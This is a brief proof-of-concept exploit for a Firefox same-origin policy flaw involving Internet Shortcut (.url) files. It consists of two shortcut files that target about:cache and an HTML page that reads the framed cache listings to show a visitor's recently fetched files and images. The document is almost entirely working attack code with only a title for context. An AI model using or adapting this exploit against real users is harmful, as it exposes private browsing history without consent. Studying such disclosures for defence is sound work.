Mozilla Firefox Internet快捷方式同源策略冲突漏洞

                                                'testurl1.url':
[InternetShortcut]
URL=about:cache?device=memory
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2
'testurl2.url':
[InternetShortcut]
URL=about:cache?device=disk
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2
-----test.html-----
<script>
function a()
{
s="";
h="";
for(i=0;i<window.frames.length;i++)
{
    d=window.frames[i].document;
    for(j=0;j<d.links.length;j++)
    {
        u=d.links[j].text
        s+=u+"\n";
        h+="<img src=\""+u+"\">";
    }
}
document.getElementById("t").value=s;
document.getElementById("x").innerHTML=h;
}
</script>
<a href="javascript:a();">Start Test</a><br>
<a href="javascript:window.location=location.href">Load This Page Again</a><br>
<br>
<br>
<b>List of files that you recently fetched from the internet:</b><br>
<textarea rows="10" cols="100" id=t wrap=off></textarea>
<br>
<br>
<b>List of images that you recently viewed on the internet:</b><br>
<div id=x></div>
<br>
<br>
<iframe width=300 height=200 src="testurl1.url"></iframe>
<iframe width=300 height=200 src="testurl2.url"></iframe>